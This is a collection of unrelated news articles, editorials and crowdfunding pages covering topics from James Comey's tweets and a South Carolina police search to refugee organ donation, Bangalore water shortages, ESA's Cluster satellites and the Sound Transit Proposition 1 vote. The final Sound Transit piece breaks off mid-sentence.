-“Thinking about Niebuhr’s Serenity Prayer.” Photo illustration by Slate. Photo by Cheriss May/NurPhoto via Getty Images.  James Comey has quietly been on Twitter since 2014, but since that time, the former FBI director had only tweeted once—and it was only after Gizmodo blew up his spot. Then last week, as though suddenly possessed, he started tweeting, posting five times in six days, a fairly rapid rate for someone whose previous output was a single Will Ferrell joke. Still using the name Reinhold Niebuhr, for the theologian he wrote his college thesis on (and still not bothering to change the default profile picture), Comey decided to allow us a peek into his post-FBI, country-spanning, decidedly Under the Tuscan Sun–like journey of self-reflection, which has taken him from Gettysburg, Pennsylvania, to Iowa. Yes, Iowa—the very place you go to kick the tires of a presidential run. (Comey’s wife is from Iowa, but c’mon, we all have “relatives from Iowa.”) Whether Comey is trying to lay that particular groundwork or simply feels inspired to connect with regular Americans (who can one day buy his book, which is conveniently forthcoming) is anybody’s guess. For now, all we have to go on is the tweets themselves. Let’s review them, with the forensic attentiveness Comey would no doubt demand, one by one.  We begin at the beginning, back in March, with Comey’s response to the Gizmodo investigation by Ashley Feinberg:  It’s a macro of Will Ferrell in Anchorman, and it feels a lot like Dad trying to pretend he’s in the know with what the cool kids are doing—the outdated movie reference (Daad), the way he capitalized the F in Fbijobs.gov (Daaad), the laissez-faire “I don’t even care that you found my secret Twitter” attitude (Daaaaaaaaaaaad). Not cool, Dad. Grade: D  Beautiful fall day at West Point. Lone kayaker on the Hudson. pic.twitter.com/gcJ730VD7p — James Comey (@Comey) October 18, 2017  Reinie Niebs was quiet until this past Wednesday, when he was so moved by nature and the view at West Point that he decided to fire up the ol’ Twitter and to post what is essentially an out-of-place Instagram. It’s still the work of an old who doesn’t understand the platform or how most people use it, but instead of repeating the embarrassing try-hardery of the Anchorman tweet, it’s endearing. He loves his country and his country’s historic military academy, he loves rivers, and he finds beauty in images of men striking out on their own. Which, reminder, he does too from time to time. Lordy! Grade: B  Little Round Top, Gettysburg. Good place to think about leadership and values. pic.twitter.com/o1cKBXrLCl — James Comey (@Comey) October 19, 2017  This photo is of a bunch of rocks, but not a very aesthetically pleasing pile of rocks. Comey still gets points for being at Gettysburg, the Mecca of late-middle-age patriots. He loses points for “Good place to think about leadership and values,” which is a bit too transparent. You’re not supposed to tell people you’re thinking about leadership and values, Jim, you’re supposed to imply it with your constant self-seriousness. Anyway, what, pray tell, would all that thinking about leadership and values yield? “Ah! Here I am at Gettysburg. Now I will reflect on leadership as well as values. Both … are good?” Grade: C  Good to be back in Iowa. pic.twitter.com/TGJHOhQ9KF — James Comey (@Comey) October 21, 2017  First of all, this is just a nice picture: nice sky, nice sunset. There’s a “Where’s Waldo?” aspect of it, because you have to find the former FBI director hiding among the corn, and that’s always satisfying. (But then you imagine Comey asking his wife to go take a picture of him hidden in the corn, and it’s back to being weird.) The text itself is an understated gem: Yes, it is good to be back in Iowa. Iowa is real America. By the transitive property, James Comey is real America? It seems like Comey wouldn’t be mad if that was your takeaway. Exactly. Grade: A-  Watching migrating white pelicans in Iowa thinking about Niebuhr’s Serenity Prayer. pic.twitter.com/TCAU4gs0Jw — James Comey (@Comey) October 22, 2017  Why is this guy so obsessed with Niebuhr! Confidential to James Comey: Most of us still have no idea who that is. And, please, show don’t tell: A picture of birds in a V formation, subtly reminding us that Comey believes in following procedure and the chain of command, is much better than stating, piously, that you’re thinking about a prayer that happens to be your favorite theologian’s claim to fame. Grade: B-  Goodbye Iowa. On the road home. Gotta get back to writing. Will try to tweet in useful ways. pic.twitter.com/DCbu3Yvqt3 — James Comey (@Comey) October 23, 2017  Another one presumably taken by Comey’s long-suffering wife: “Hon, could you get one of me in the street here?” That he wanted a shot of him looking plaintively into the Iowa distance is understandable, though it’s somewhat undercut by his giantlike stature. Still, he’s learned: He doesn’t tell us that he’s thinking about leadership and values, but clearly that’s what he wants people to read into this photo, even if one gets lost trying to envision the scale like the tweet is a math problem on the SAT: “If he’s 6 foot 8, then how wide is the road??” Hiding in plain sight amid the strange composition, Comey finally mentions what he’s really been up to with this slow-form tweetstorm: “Gotta get back to writing.” I think you forgot the #ad hashtag there, buddy. Then (note the hapless two spaces between sentences), “Will try to tweet in useful ways.” What could he possibly mean by “useful” here? Can we expect a tweetstorm with instructions on how to dismantle the government? Trenchant commentary on the Russia investigation? So far, his tweets are the opposite of useful. But in their entertaining bizarreness, they offer a small insight into the mind of a guy who wants to say more than he’s been able to, and, we hope, one day soon will get a chance to. Instant follow. Grade: B+
-A horrifying new dashcam video shows at least one white member of the Aiken, S.C. Police Department search inside a black man’s rectum for the apparent crime of being a passenger in a car with paper tags, which, it bears noting, is not a crime in the state of South Carolina. Driving a car with paper tags isn’t illegal either, as long as they aren’t expired.  The Washington Post reports the car belonged to a woman named Lakeya Hicks, who had the paper tags because she had recently purchased the vehicle. Hicks’ tags weren’t expired, and a check on her license came up clean. But the cops didn’t let her go.  Instead, Officer Chris Medlin asked the passenger, Elijah Pontoon, for identification. Pontoon, who has a criminal record, was ordered out of the car and handcuffed. In the video, Medlin explains his legal rationale: “Because of your history, I’ve got a dog coming in here. Gonna walk a dog around the car.” Also: “You gonna pay for this one, boy.”  The k9 arrives but find no contraband. The cops search the car but find no contraband. This evidence does not lead them to conclude there was no contraband. This evidence apparently leads them to decide to search Pontoon’s asshole.  Audio from the video suggests all they find was a hemorrhoid. At the same time, according to a federal lawsuit filed on their behalf, a female officer was searching Hicks, exposing the woman’s breasts to the other three male officers and anyone else who happened to be on the road.  Again, no contraband was found.  Later, a dejected Medlin can be heard on the radio speaking to a superior after the fruitless search.  “We search the car. There ain’t nothing in the car... And on a search of him, up in his crotch by the butt, I felt something hard. I lifted his pants and pulled the back of his underwear down and I didn’t see anything but I didn’t get all the way up in there to get no vertical up shot. I just pulled his underwear back, but I didn’t see nothing. But it felt, he said it was a hemorrhoid. It ain’t no... it was a rock. It was a rock of crack. It’s gotta be a rock. He’s got it up in his butt.”  Medlin sadly concludes, “But there ain’t no way to justify. He said, ‘I got nothing here. That’s a long time ago. I ain’t doing nothing.’ He said it’s a hemorrhoid. I got nothing else to go on. Nothing. Yeah we’re gonna have to cut him loose here.”  Who needs probable cause to perform an invasive search? Apparently not Medlin.
-Get the biggest Celtic stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  Celtic are sending highly rated teenager Kris Ajer on loan to Kilmarnock for the rest of the season.  The Norwegian midfielder signed a four-year deal with the Hoops last February after impressing on trial.  Ajer, 18, has yet to start for Celtic under Brendan Rodgers but has always been considered a player for the future.  (Image: Ken McKay)  Now he will be given to Killie gaffer Lee Clark for the next four months as his education in the Scottish game moves up a gear.  Rodgers said: “Kris will go to Kilmarnock. There were a couple of options but it’s good for him to play there.  “He has settled in here so he can go and play there for the rest of the season where we can keep a close eye on him and take him back.”  (Image: SNS Group)  Kris Commons has returned after an emergency loan at Hibs, who are keen to keep him at least until the end of the season.  And Kieran Tierney could make his comeback from injury against Albion Rovers in the Cup on Sunday, although new signing Kouassi Eboue won’t play.  He added: “Kieran’s back. I wouldn’t be reluctant to play him, even on the astro.  “Kouassi won’t feature. His visa has just been completed and he’ll be back but not by then.”
-There's something creepily totalitarian about Orange Coast College's handling of the now nationally known incident involving 19-year-old Caleb O'Neil, who was suspended from the college for two semesters for secretly videotaping one of his instructors engaging in an anti-Trump rant. The suspension was bad enough, but the college also insisted that O'Neil apologize to the professor and hand in an apologetic essay about his transgressions. Fortunately, after a groundswell of public support for the student—and academic freedom generally—the college backed down and rescinded the suspension and other sanctions.  For those who have missed the Register articles, human sexuality instructor Olga Perez Stable Cox was caught on video telling her class that Donald Trump's presidential victory was "an act of terrorism." The most frightening thing, she said, "is that the people who are leading the assault are among us." O'Neil eventually posted the video after being unsatisfied with the college's response. It went viral. As someone who campaigned for Trump, O'Neil had reason to fear the instructor's views could have repercussions on his grades. After all, he's one of those "among us."  O'Neil's supporters, including some local Republican leaders, blasted the professor for using her teaching position to shame students. The union representing faculty there criticized O'Neil for not engaging in an "open dialogue." The school administration said it would investigate the complaint filed against the teacher, but the only obvious repercussions so far are the harshly punitive sanctions it tried to impose against the student.  The college's letter to O'Neil, published on a website, understandably drew a backlash. It said that O'Neil's essay should, among other things, discuss his "thoughts and analyses on the impact of the video going 'viral' and the ensuing damage to Orange Coast College students, faculty and staff." So he was going to be required to write an essay—and the school was telling him the basic view he had to express in it.  Cox says she has received angry emails and messages and now feels "paranoid" and like she's been "attacked by a mob of people all across the country." Any threats and intimidation are wrong, of course. But this whole situation could have been avoided had the college administration acted in an even-handed manner in the beginning. We don't want a world where college professors are afraid to speak forthrightly to their classes, but students are at least owed an apology when subjected to an inappropriate rant.  O'Neil was being disciplined for violating the school's prohibition on unauthorized recording, which is a picayune point, given that this is a taxpayer-funded school. The First Amendment should still apply there. The punishment was outsized compared to the transgression. And even such a punishment would have been more tolerable if one could have any confidence the college treated with any seriousness Cox's in-classroom transgression.  This scene has sparked anger because it confirms the worst fears conservatives have about liberal intolerance in academia. In a sane world, a few apologies would suffice. "Hey, I was distraught about the election and was unfair in my comments." "OK, I was upset by your remarks and believed that a video was my only recourse." The administration would step in and everyone would sing "Kumbaya." Instead, lawyers got involved, and there was even a threatened recall of college board members. It's the result of a college that decided to dig in its heels rather than pursue fairness. The punitive response suggests the problem at Orange Coast goes a lot deeper than one professor's lack of a filter.  Ironically, Coast Colleges, the community college district that includes Orange Coast, has an entire Office of Equity, Inclusion and Compliance. One document posted on its website details the evils of "microaggressions"—"common, subtle messages that communicate racial indignations." Such indignations typically are "unconscious in nature," but they "have an integral influence on students' perceptions of campus climates as hostile, alienating and isolating."  The controversy isn't racial, although Cox reportedly referred to white supremacy and evoked the Civil War. But if a college system is so worried about unconscious, little aggressions that create a hostile and alienating classroom environment, shouldn't it also be worried about instructors who make loud, conscious and aggressive statements that are alienating to students with a minority political viewpoint? The hypocrisy here is almost too rich for words.  I admire O'Neil's willingness to fight back. It seems likely he's not the only student to endure such things, so this is a worthy fight. But perhaps he should find a school that values his temerity. Americans—and academics, in particular—need a healthy reminder of why free expression is the foundation of a free society. And why petty, unjust bureaucrats remain its enemy.
-Help FIF Make the Album of your Dreams!  We need your support now more than ever. The inspiration and energy to create an amazing record is there but this time we will be working without the support of a label. This gives us incredible artistic freedom, but it also means we need to raise our own financing. Our hope is to release an album in 2013, ten years after our initial final show.  We are shooting for the financial goal of $30,000.Your pledges will be used to pay for demoing new material, recording, mixing, mastering, and associated travel expenses.Keep in mind, this budget covers making the album only. Every dollar we raise over $30,000 will be used for such things as promotion of the album once it's released because we think it would be great to have this album reach as many people as possible! Additional funds could also enable us to play some shows, because yes, we would love to play shows!  Thank you so much, every one of you for all the love, kindness, support, humor, prayers and friendship you have shown us since 1995. To our absolute joy this band continues to be more than just a band to many of you....and you are more than just folks at a show to us. If the past is any indication of the future we may all be in for a very wild ride.  We will keep you posted every step of the way.  Sincerely yours, Five Iron Frenzy  PS) If you aren't familiar with our band and would like to donate, thank you very much! We hail from the land of ice and snow; Denver. You can ask some cool people about us and keep up with our ventures at www.FiveIronFrenzy.com and www.facebook.com/5ironFrenzy  We can not thank you enough for making this happen. I got a little teared up when I saw the goal reached so fast. Our fans are incredible.
-JERUSALEM — Israel on Monday set aside a warning it issued the previous day that foreign journalists aboard a flotilla planning to challenge its naval blockade of Gaza risked being barred from the country for up to a decade and having their equipment impounded.  Also, Prime Minister Benjamin Netanyahu’s office said Monday that he had instructed the relevant authorities to devise a special procedure for journalists covering the flotilla bound for Gaza, on the assumption that they would end up in Israel. In contrast to the activists on board, it said that the journalists would not be subject to the “regular policy against infiltrators and those who enter Israel illegally.”  Officials said the earlier decision had been made by staff members without Mr. Netanyahu’s knowledge. The Foreign Press Association in Israel issued a statement welcoming the turnabout, saying it was pleased to see that Israel “understands that journalists should be treated differently from political activists.”  On Sunday, Oren Helman, the director of the Government Press Office, sent a letter to accredited foreign correspondents here saying that journalists who participated in the flotilla would face draconian sanctions. Mr. Helman described the planned flotilla as “a dangerous provocation that is being organized by Western and Islamic extremist elements to aid Hamas,” the Islamic group that controls Gaza and that is defined by Israel, the United States and the European Union as a terrorist organization.  Advertisement Continue reading the main story  The press association said the letter raised “serious questions about Israel’s commitment to freedom of the press.”
-JNS.org – Israeli Ambassador to the United Nations Danny Danon blasted the denial of Israel’s Jewish character in textbooks used by UN-operated Palestinian schools.  According to a new report from Hebrew University of Jerusalem’s Harry S. Truman Research Institute for the Advancement of Peace, textbooks used in schools run by the United Nations Relief and Works Agency for Palestine Refugees in the Near East (UNRWA) removed references to Jewish municipalities in Israel, described Zionism as a foreign “colonial movement” and denied the historical and religious connections between Jews and Israel.  The new revelation of a UN agency’s connection with anti-Zionism came on the heels of the controversial UN Security Council resolution condemning Israeli settlements. The resolution stated that eastern Jerusalem — including Jewish holy sites such as the Western Wall — is “occupied Palestinian territory.”  “This is just the latest example of anti-Israel incitement under the auspices of the United Nations,” Danon said of the UNRWA development. “These textbooks refer to Tel Aviv as ‘Tel al-Rabia’ and the holy Western Wall and the Cave of the Patriarchs are portrayed as Muslim sites that the Jewish people are seeking to take control of. This is not how you make peace in the Middle East. This is how you raise another generation full of hatred and ready to use violence.”  The Israeli government and pro-Israel activists have long accused UNRWA of anti-Israel bias.
-According to prosecutors, two brothers in Easton, PA, had to be rushed to the hospital in September after taking liquid LSD that they found in a bottle of breath mint drops on their way to elementary school. John Morganelli, District Attorney for Northampton County, says that investigators have determined that the boys had the hallucinogenic drug in their systems.  The boys, ages 7 and 10, were reportedly foaming at the mouth when they arrived at Bangor Elementary School on September 24. They were immediately taken to the hospital, and released the following day. Morganelli says that investigators were unable to get fingerprints from the bottle, and that the children's mother and live-in boyfriend both tested negative for drugs.  RELATED: The Most Ratchet Stories of March, April, May, June, July, August and September.  [via The Huffington Post]  Follow@ComplexGuide
-The 49-year-old woman was saved along with her husband and two teenage sons by the Italian coastguard off the coast of Siracusa in Sicily on August 28th.  The family had reportedly fled from Damascus and were planning to travel to Sweden from Italy.  The woman was transferred to the Umberto I in Siracusa but doctors were unable to save her. Her husband then gave his consent for the woman’s organs to be donated to Italy.  Thanks to his decision, three life-saving operations have now been carried out: one liver transplant on a 66-year-old Sicilian man, one kidney transplant on a 60-year-old Calabrian woman and another kidney transplant on a 41-year-old man also from Sicily.  'Touching experience'  “It was a very touching experience that shows what real solidarity is,” Maurillo Carpinteri, a doctor who treated the woman told La Repubblica, “The father and two teenage boys overcame all mistrust and trusted completely. In a moment of great desperation they gave all that they had with a dignity that is truly exemplary.”  Health minister Beatrice Lorenzin offered her “profound thanks” to the family, describing the incident as “an example of how even in dramatic situations of great need, when refugees arrive on our coasts, there are people who manage to make loving gestures towards their neighbour that silently benefit from others.”  According to the paper, the woman worked as a nurse in Syria and her husband was a businessman. The family said they intended to travel to Sweden where the woman’s eldest son works.  The woman’s body will now be buried in Malta where her mother and two brothers live.  This family story is just one of the many tragedies which have dominated Italian headlines in the past month.  On Monday AFP reported that a 52-year-old Palestinian woman who was a resident in Syria died while crossing to Italy with her two sons and her husband, who suffered a leg injury.  Last week, a Syrian refugee was even forced to give birth at sea on her way to Italy.  AFP reports that thousands of migrants arriving on Italian shores in the past few weeks are Syrian and Egyptian refugees, many of them children and some as young as three.  On Monday Italy's Prime Minister Enrico Letta warned that the European Union lacks an adequate approach for the refugee problem that will worsen in the case of an international intervention in Syria.
-Earlier this week we reported on the court case between Apple and PsyStar, stating they went into settlement negotiations. Details, however, were sparse. The law firm representing PsyStar has now replied to the matter, and there’s good news for those of us who hope to see crazy EULA clauses tested in court.  It’s a “non-story”, a lawyer for PsyStar said. The fact that both parties are entering negotiations doesn’t really say anything. “The Northern District [of California] requires you to go through ADR. It’s standard practice, not for all courts, but the practice is growing. Quite frankly, all the talk about entering negotiations is really a non-story.” He reiterates that the case is still “very much alive”.  The lawyer explains that according to him, the real story is PsyStar’s reply to Apple’s motion to dismiss. Apple claims that “Neither the federal nor the state antitrust laws require competitors to stop competing with, and instead to start helping, each other.”  “Apple is nothing if not tenacious,” PsyStar argues, “Having previously asserted this very same argument in attempts to dismiss antitrust claims related to Apple’s iPod, iTunes Music Store, and iPhone ending in the Northern District of California.” PsyStar claims all those attempts to dismiss antitrust claims were denied too, and cited several rulings to support this claim.
-Prime Minister John Key says the country's electronic spy agency operates within the law, following new revelations by American whistleblower Edward Snowden indicating that New Zealand spies are sharing metadata with a US spy agency.  The revelations detail a National Security Agency search engine, known as ICREACH, which contains more 850 billion records of metadata on phone calls and email.  Photo: PHOTO NZ  The classified documents from a range of intelligence agencies suggest that the metadata from the search engine is then shared among Five Eyes partners - New Zealand, Australia, Britain, the US and Canada.  One from 2008 states that New Zealand's Government Communications Security Bureau agreed that metadata it collects may be shared with the US Intelligence Community - but it is not clear if that metadata is domestic or foreign.  Mr Key has consistently denied that there is any mass surveillance of New Zealanders.  Photo: RNZ  But Greens' co-leader Russel Norman said today that Mr Key needs to rule out the sharing of New Zealanders' data under that arrangement.  "Why these documents say that when the Prime Minister himself has said that they're not doing this. I mean, this isn't small amounts of information about a handful of people - this is billions of pieces of information. This is a truly massive database.  "Once again, we're seeing evidence that directly links New Zealand spies to a global mass surveillance network. Changes made to the GCSB's powers last year mean they can now spy on New Zealanders and have the ability to access our communications via our telecommunication providers."  "This new evidence puts the GCSB at the heart of the mass surveillance network and contradicts what Prime Minister John Key has been claiming all along - that New Zealand doesn't supply information to outside organisations."  Dr Norman says New Zealanders deserve to know the truth about whether their personal information is being collected and possibly shared offshore.  He said the Prime Minister and the GCSB have no choice but to start answering questions about what it means for New Zealand to be a member of the Five Eyes network.  "Over and over again we're seeing these types of documents trickling out into the public sphere, which fly in the face of claims by the National Government that New Zealand is not tied up with the global spying network."  But the Prime Minister said New Zealanders' data is safe and that the GCSB is operating within the law. John Key said any metadata that is used, would be used appropriately and within the law.
-B R Udaya Kumar By  The water that Bangalore was depending on to tide over the shortage till the South-West monsoon is almost gone. The live storage at Hemavathy reservoir has been wiped out.  Some water is being released to the big cities of Bangalore and Mysore from the dead storage. But Hassan has been largely denied its share.  Barely 48 hours after Chief Minister Siddaramaiah said water supply in all cities in the Cauvery basin will be normal, an official source told Express: “Pumping of water from the dead storage at Hemavathy Reservoir will be stopped from Tuesday keeping in view the supply of drinking water to Hassan city. The authorities were pumping water at the rate of 5,000 cusecs daily to be supplied to Bangalore city from the Krishnaraja Sagar Reservoir.’’  A source said around three tmc ft of water is still available at Hemavathy Reservoir. Since the level has gone beyond the dead storage, it is very difficult to draw water, the source pointed out.  Last week, officials had dispelled fears of a crisis, saying they would draw water from the Hemavathy in case the KRS dried up.  The silver lining is that the situation at KRS appears to be slightly better. Though the live storage is still less than one tmcft, the inflow is at the rate of 2,500 cusecs through the day due to some rain in K R Nagar and surrounding areas. Following this, officials at KRS have increased the speed of outflow towards Bangalore from the rate of 750 cusecs to 1,000 cusecs.  Expressing unhappiness over the release of water to KRS from Hemavathy to meet the needs of Bangalore, Hassan MLA H S Prakash said: “Instead, the government should at least give permission to install one more jack well near the dead storage to lift water for Hassan city.’’  Two of the existing three jack wells on the Hemavathy backwaters installed by Hassan municipality have gone dry. Officials are a worried lot, as they have no alternative to provide drinking water, if the third jack well goes dry. Residents have been getting water once in two days from the third jackwell.
-'Dirty hack' restores Cluster mission from near loss  Cluster satellites study the effects of solar wind  Using ingenuity and an unorthodox 'dirty hack', ESA has recovered the four-satellite Cluster mission from near loss. The drama began in March, when a crucial science package stopped responding to commands – one of a mission controller's worst fears.  Since a pair of spectacular dual launches in 2000, the four Cluster satellites have been orbiting Earth in tightly controlled formation. Each of the 550 kg satellites carries an identical payload to investigate Earth's space environment and its interaction with the solar wind – the stream of charged particles pouring out from the Sun.  Among each satellite's 11 instruments, five comprise the Wave Experiment Consortium (WEC), which makes important measurements of electrical and magnetic fields. All four sensors must work together to make carefully orchestrated observations – the loss of any one could seriously affect the unique 'four-satellite science' delivered by the mission.
-Protesters stood in sharp contrast to the festivities taking place at Super Bowl City on Wednesday as they took to the streets to bring attention to the plight of homelessness in San Francisco.  Organizers and supporters met at the San Francisco Ferry Building, where they chanted, performed songs and held signs with messages like, “Hey Mayor Lee, no penalties for poverty.”  More than 80 helmet-donning police stood facing the equally large crowd of protesters.  Jennifer Friedenbach, executive director for the Coalition on Homelessness, which coordinated the “Tackle Homelessness” action, said with the global audience focused on The City this week, there was no better time to highlight the thousands of people in San Francisco without a place to live.  “We’ve been getting a lot of feedback from people in San Francisco, people who are homeless, people that are really pissed off that we can construct a Super Bowl City, give away $5 million dollars to a huge corporation like the NFL, while there’s thousands of people on the street,” Friedenbach said.  Julianna Cheng, a San Francisco resident who attended the event, said she was living on the streets in 2012, while she was pregnant with her daughter. Cheng said it was eye-opening to see how dehumanizing San Franciscans treated the homeless population.  “People don’t realize that they are one paycheck, one heart attack, one eviction away from homelessness,” Cheng said.  Among the organizers’ demands were that Mayor Lee pay back the $5 million spent to host Super Bowl 50 in the form of an investment in affordable housing. The demands also included using unclaimed space in The City to create a safe space for the homeless to sleep, providing hygienic bathrooms and healing services, and ending the criminalization of poor and homeless people.  “The thing that I would say to Mayor Ed Lee, the solution to homeless is housing, and it’s a win-win for everyone,” Friedenbach said.  The protest came just days after homeless began setting up tent encampments under Highway 101, between SoMa and the Mission, to make way for the Super Bowl City, as previously reported by the San Francisco Examiner.  The mayor came under fire in August when he said he wanted to remove homeless persons in the area around The Embarcadero where the Super Bowl 50 celebration would occur. Last week, he said those living on the streets are “human beings who deserve our compassion.”  Just hours before the protest Wednesday, San Francisco’s Human Services Agency gave members of the press a tour of a new shelter for homeless who have no dry place to sleep as El Niño storms draw closer. City officials said that it was a coincidence that they were touting new homeless facilities just hours before planned protests over treatment of homeless in The City during Super Bowl week.  The shelter, at Pier 80 in the Dogpatch neighborhood, could open as soon as Thursday. It will be equipped with 150 beds when operating at full capacity, a total of eight showers and multiple toilets, according to Human Services Agency Director Trent Rohrer, who added the shelter cost roughly $1.5 million to set up.  “What this is hoping to do is address the health concerns that arise when it’s windy and wet,” Rohrer said.  Drawing people out of the streets and into homeless shelters comes with a number of problems Rohrer said, including people who are weary of leaving their regular spots, carrying their belongings to a shelter, complying with curfew hours or not being able to bring in their pets.  The new shelter hopes to squash many of those issues by loosening restrictions, such as allowing homeless people to stay at the shelter for several days instead of just one night, allowing people who have pets and accepting both women and men into the shelter.  A bigger issue for the Pier 80 shelter will be transporting homeless to the Dogpatch neighborhood, Rohrer said.  “The idea is to have a multifold transportation team,” Rohrer said, explaining that the shelter will utilize shuttles to drive homeless people to and from the shelter as well as provide them with tokens to use public transportation.  For now, the shelter is set up to operate for the next few months while the El Niño storms clear out, according to Sam Dodge, director of the Housing Opportunity, Partnerships and Engagement, which works to improve city-sponsored housing.  Dodge and Rohrer both said that the timing of the Super Bowl City protest and the opening of the shelter was nothing more than a coincidence and that both groups were working toward the same goal.  “We have a long way to go from where we are and I appreciate the care and pressure coming from protesters,” Dodge said.
-The key documents Assistant Health Minister Fiona Nash claims prevented any conflict of interest for a junk food lobbyist working in her office "do not exist'', according to government agencies.  Labor has called on Prime Minister Tony Abbott to sack the beleaguered senator over the food star-ratings scandal, which erupted when a website that allowed companies to voluntarily sign up to a healthy food star-rating system was taken down at the insistence of Alastair Furnival, a junk food lobbyist who was working as Senator Nash's chief of staff.  Ministers to discuss food star-rating system next week: Assistant Health Minister Fiona Nash. Credit:Alex Ellinghausen  Next week, state and territory food ministers will discuss the food star-rating system. It is understood it is likely the website will be re-instated, more than five months after it was taken down, despite having already been agreed to by the states.  Fairfax Media has been attempting to get hold of a letter Senator Nash said Mr Furnival wrote outlining how he would ensure his co-ownership of the lobbying company Australian Public Affairs would not interfere with his role in creating healthy food policy.
-About  As kids, me and my little brother would talk about building a ship and sailing off to live out our dreams. We decided to make this dream an actual idea and now a life goal. After talking about it for over 2 decades we have decided we want to go into business for ourselves as a charter service offering personalized cruises.  We grew up in the age before everyone had computers and gadgets. We spent most of our time in the woods building tree houses and on the beach building rafts and boats to get us into some pretty sketchy situations we can look back at now and laugh. My little brother loves to fish and me, well, I like to adventure and explore.  Along the way we have picked up more interested people as well; my fiancée and soon to be mother of our first child has a passion for cooking, she also has a culinary degree and experience to back it up. She is going to be our chef for the vessel.  My little brother has been schooled in culinary as well, but his heart is set on being our on board fisherman. I believe they both go hand and hand a bit when it comes down to filleting and preparing food for meals and his skill set at both are truly astounding.  As for me, I've served some time in the military. But, I felt it was time for a new direction in my life. Somehow in those 8 years of traveling to the furthest reaches of this planet I feel like I found my true calling and I knew what I needed to do. So, now I've returned home to start school and make this project my mission and my life. I am attending Kingsborogh College for the Maritime technology program, I will be doing an internship with a few ship yards and ferry services while in the program. I will graduate in about 2 years with a degree and my captains license, then it will be time to begin a third degree in Engineering. My first degree, from the military, is in restaurant, hotel and fitness management which I also have a lot of experience to back. I also take classes in sailing.  We have the passion, ambition and drive to make this project happen. We have the knowledge, the know how and experience in what we are trying to do. We know this project will turn into an amazing investment  with an extremely fruitful return. But we don't exactly have the funds to start the project ourselves at this moment. So we have turned to Kickstarter to see if we can get this ball rolling and make the dreams of our childhood into the reality we live everyday.  ~Thank you for reading this even if you can not donate anything. Please pass this along to anyone you think may help in our cause.  ~Cyrus Blades
-Sound Transit Proposition 1 is a high-stakes, three-decade commitment. Here are some answers to questions that could help you decide how to vote by Tuesday.  With the state of Washington solidly on the blue side in the presidential race, Sound Transit Proposition 1 looms as the most suspenseful decision that more than a million Puget Sound-area voters will make.  A simple majority for the $54 billion measure would trigger a three-decade commitment to a record tax increase, paying for 10 rail extensions and three bus-rapid transit corridors in urban Snohomish, King and Pierce counties by 2041.  Vote counts will go down to the wire, campaigners for both sides said this week.  Sound Transit 3 Sound Transit Proposition 1 promises to add 62 miles of light-rail extensions to the 54 miles already approved, along with bus-rapid transit lines and more Sounder train capacity. The $54 billion, 25-year program includes existing taxes, federal grants, bond debt and these tax increases: • Sales tax increase of 0.5 percent, or 50 cents per $100 purchase. • Car-tab tax increase of 0.8 percent, or $80 a year per $10,000 vehicle value. • A new property tax of $25 annually per $100,000 of value.  Proposition 1, also known as Sound Transit 3, appears at the bottom of mail-in ballots. They must be postmarked or placed in an official dropbox by Tuesday.  Here’s a last-minute look at the proposition to help you decide:  Q: Would ST3 reduce congestion?  A: It would not.  What the plan offers is an escape from traffic misery, for people who can reach the stations on foot, on a feeder bus, or via park-and-ride. Commuters to central Seattle, to the airport from Tacoma, and from south Snohomish County to the University of Washington or downtown should save time.  Even if the network outperforms official estimates of 700,000 daily passengers, that’s a fraction of 19 million regional trips by 2040.  The yearning to escape gridlock might push demand higher, and light-rail capacity seems up to the task.  Leading proponents don’t promise that traffic will improve.  “We’re building additional capacity to give people options to get out of traffic. With 1 million people coming, I don’t know how anybody can realistically say we have a way to reduce congestion,” said Shefali Ranganathan, executive director of the Transportation Choices Coalition.  Pro-ST3 ads often show clogged freeways and lamentations. “They’re not able to get away with saying they’re going to solve congestion in this one, but they’ve implied it through visuals,” contends opponent Maggie Fimia.  Congestion is influenced by how much agony drivers can endure, the effect of future highway lanes lawmakers approved last year, how soon collisions are cleared, and parking.  Q:The plan takes 25 years. Can I get relief sooner?  A: A total $227 million would pay for “early deliverables” in the first eight years.  Madison Street bus-rapid transit could open by 2019, with ST3 supplementing city and federal funds.  Unspecified improvements are promised for the RapidRide D bus line in Ballard and C Line in West Seattle. Shoulders of Interstate 5, Interstate 405, Highways 518 and 167 would be strengthened, so express buses can bypass traffic jams. Other items include a Sammamish park-and-ride and more stalls at Edmonds and Mukilteo stations, where ferries and Sounder trains meet.  That finite $227 million pot, along with design, outreach and permits, plus the alchemy of budgets by multiple governments, mean projects will take a few years to deliver.  Bus-rapid transit routes on Highway 522 and I-405, including park-and-ride garages, are due in 2024, along with trains to Redmond and Federal Way.  Rail-extension targets include West Seattle and Tacoma in 2030, Ballard in 2035, Everett and Joint Base Lewis-McChord in 2036, and Issaquah to south Kirkland in 2041.  Q: Is this the biggest local transit measure ever?  A: You could say that.  The highest total is this fall’s Los Angeles Measure M, a 40-year plan that reserves at least $81 billion for transit, of the total $121 billion.  ST3 weighs in at $54 billion including inflation and federal grants. Increased property, sales and car-tab tax would yield $795 million next year, compared with $860 million from a proposed half-cent sales tax hike in Los Angeles.  But Sound Transit serves a smaller region, so the cost per household would far exceed L.A Metro.  Formerly, the FasTracks measure in Denver held the record at $4.7 billion when it passed in 2004. Phoenix voters passed $31 billion for rail and bus last year, while San Diego County is sending $18 billion to the ballot.  Q: Do they have to follow the plan?  A: A ballot win would place enormous trust in the agency, and really local politics in general, to manage the future.  In the event of overruns or a recession — both of which strained earlier Sound Transit funding measures — state court rulings affirm the Sound Transit board may delay or scrap projects, and there is no cost cap.  In the event of a surplus, the ballot ordinance says taxes would be reduced after ST3 projects are funded, in the board’s judgment. Another clause allows the board to spend leftover ST3 dollars to improve previous projects.  What the board can’t do is tack on extensions, such as tracks to Marysville, Burien or Renton, without a public vote.  Two-thirds of the 18 board seats have turned over since the last measure in 2008, so the politicians who wrote this year’s plan are not necessarily the same people who will oversee it.  There are no direct transit-board elections, while current and future bond contracts effectively shield the projects and revenues.  If voters ever become dissatisfied, their recourse is to defeat the Pierce, King and Snohomish County executives, who pick the transit board; or vote against any ST4.  Q: What if ST3 loses?  A: Taxpayers would keep money in their pockets rather than spend an additional $169 per median adult, to vary by wealth and lifestyle.  Lynnwood Station, Highline College and Bellevue-Overlake will get rail service in 2023 that voters already approved — a point opponents make to say there’s no rush to approve ST3.  Stations for downtown Redmond and Federal Way under ST3 would be delayed past the 2024 goal.  “We would have to go back to the drawing board,” says Ranganathan, with the next prime opportunity in 2020.  A political movement might emerge for Seattle city taxes to underwrite big projects there — as voters two years ago approved a $60 car-tab fee to buy King County Metro Transit bus hours.  That scenario seems unlikely, said 